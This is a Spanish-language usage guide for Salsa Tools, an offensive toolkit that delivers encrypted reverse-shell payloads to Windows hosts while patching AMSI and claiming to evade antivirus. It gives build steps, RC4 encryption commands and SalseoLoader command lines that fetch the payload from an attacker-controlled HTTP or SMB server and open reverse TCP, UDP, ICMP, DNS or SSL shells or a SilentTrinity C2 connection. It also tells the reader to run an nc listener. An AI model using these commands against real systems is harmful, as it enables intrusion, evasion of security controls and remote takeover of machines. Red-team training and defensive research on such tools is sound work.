
Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP/Shellcode/SILENTTRINITY y AV bypass, AMSI patched
_____ __ ______ __
/ ___/____ _/ /________ _ /_ __/___ ____ / /____
\__ \/ __ `/ / ___/ __ `/ / / / __ \/ __ \/ / ___/
___/ / /_/ / (__ ) /_/ / / / / /_/ / /_/ / (__ )
/____/\__,_/_/____/\__,_/ /_/ \____/\____/_/____/
Salsa Tools es una colección de tres herramientas diferentes que, combinadas, te permiten obtener un reverse shell potenciado en cualquier entorno Windows sin siquiera necesitar PowerShell para su ejecución. Con el fin de evitar las técnicas de detección más recientes (AMSI), la mayoría de los componentes fueron escritos inicialmente en C#. Salsa Tools fue publicado públicamente por Luis Vacas durante su charla “Inmersión en la explotación tiene rima” que tuvo lugar durante h-c0n el 9 de febrero de 2019.
* TCP/UDP/ICMP/DNS/BIND/SSL/Shellcode/SilentTrinity
* AV Safe (17 de febrero)
* Parches AMSI
* Ejecución de PowerShell
* ...
Salsa-Tools está hecho de tres ingredientes diferentes: - EvilSalsa - EncrypterAssembly - SalseoLoader Y su comportamiento es el siguiente:
___ __ __ ____ _
/ _] | || || |
/ [_| | | | | | |
| _] | | | | | |___
| [_| : | | | | |
| |\ / | | | |
|_____| \_/ |____||_____|
_____ ____ _ _____ ____
/ ___/ / || | / ___/ / |
( \_ | o || | ( \_ | o |
\__ || || |___\__ || |
/ \ || _ || / \ || _ |
\ || | || \ || | |
\___||__|__||_____|\___||__|__|
[+] That is our Payload
EvilSalsa es el ingrediente clave de esta receta. Contiene el payload, que se ejecuta en el sistema de la siguiente manera: tan pronto como el payload comienza, ejecuta System.Management.Automation.dll que crea un runspace. Dentro de ese runspace tenemos cuatro tipos de shells (TCP / UDP / ICMP / DNS / BINDTCP / SHELLCODE / SILENTTRINITY). Una vez que EvilSalsa se carga, lo primero es comprobar la existencia de c:\windows\system32\amsi.dll. Si existe, se parchea utilizando una variante casera de los bypasses de CyberArk y Rastamouse.
______ _
| ____| | |
| |__ _ __ ___ _ __ _ _ _ __ | |_ ___ _ __
| __| | '_ \ / __| '__| | | | '_ \| __/ _ \ '__|
| |____| | | | (__| | | |_| | |_) | || __/ |
|______|_| |_|\___|_| \__, | .__/ \__\___|_|
/\ __/ | || | | |
/ \ ___ ___ ___ _|___/|_|| |__ | |_ _
/ /\ \ / __/ __|/ _ \ '_ ` _ \| '_ \| | | | |
/ ____ \\__ \__ \ __/ | | | | | |_) | | |_| |
/_/ \_\___/___/\___|_| |_| |_|_.__/|_|\__, |
__/ |
|___/
[+] Software that encrypts the payload using RC4
[+] We have the version in python and the version in .exe
EncrypterAssembly puede utilizarse como un script de Python o como un binario Exe. Cifra el EvilSalsa generado previamente.
Uso en Python:
python encrypterassembly.py <FILE> <PASSWORD> <OUTPUT>
Uso del ejecutable:
Encrypterassembly.exe <FILE> <PASSWORD> <OUTPUT>
SalseoLoader se encarga de cargar el payload cifrado. Puede compilarse tanto como biblioteca o como ejecutable. Si se ejecuta como ejecutable, los argumentos elegidos deben proporcionarse al ejecutarlo. Si se compila como biblioteca, el descriptor "main" debe ser exportado. Los argumentos se añaden mediante variables de entorno.
_____ ____ _ _____ ___ ___
/ ___/ / || | / ___/ / _] / \
( \_ | o || | ( \_ / [_ | |
\__ || || |___\__ || _]| O |
/ \ || _ || / \ || [_ | |
\ || | || \ || || |
\___||__|__||_____|\___||_____| \___/
_ ___ ____ ___ ___ ____
| | / \ / || \ / _]| \
| | | || o || \ / [_ | D )
| |___ | O || || D || _]| /
| || || _ || || [_ | \
| || || | || || || . \
|_____| \___/ |__|__||_____||_____||__|\_|
By: CyberVaca@HackPlayers
[+] Usage:
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
[-] SalseoLoader.exe password \\smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseICMP LHOST
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
[-] SalseoLoader.exe password http://webserver.com/shellcode.txt shellcode
[-] SalseoLoader.exe password http://webserver.com/silent.txt silenttrinity URL_C2C
[+] Available Payloads:
[-] ReverseTCP [-] ReverseDNS [-] ReverseSSL [-] Shellcode
[-] ReverseUDP [-] ReverseICMP [-] BindTCP [-] SilentTrinity
Descarga el código fuente desde github y compila EvilSalsa y SalseoLoader. Necesitarás Visual Studio instalado para compilar el código.
Compila esos proyectos para la arquitectura del equipo Windows donde los vayas a usar (Si el Windows es x64, compílalos para esa arquitectura).
Puedes seleccionar la arquitectura dentro de Visual Studio en la pestaña "Build" a la izquierda en "Platform Target".
(Si no encuentras esta opción, presiona en "Project Tab" y luego en " Properties")

Luego, compila ambos proyectos (Build -> Build Solution) (Dentro de los logs aparecerá la ruta del ejecutable):

En primer lugar, necesitarás codificar el EvilSalsa.dll. Para ello, puedes usar el script de python encrypterassembly.py o compilar el proyecto EncrypterAssembly
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll password evilsalsa.dll.txt
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsa.dll password evilsalsa.dll.txt
Bien, ahora tienes todo lo necesario para ejecutar todo el asunto Salseo: el EvilSalsa.dll codificado y el binario de SalseoLoader. Sube el binario SalseoLoader.exe a la máquina. No debería ser detectado por ningún AV...
Recuerda iniciar un nc como listener de reverse shell, y un servidor HTTP para servir el evilsalsa codificado.
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
Recuerda iniciar un nc como listener de reverse shell, y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).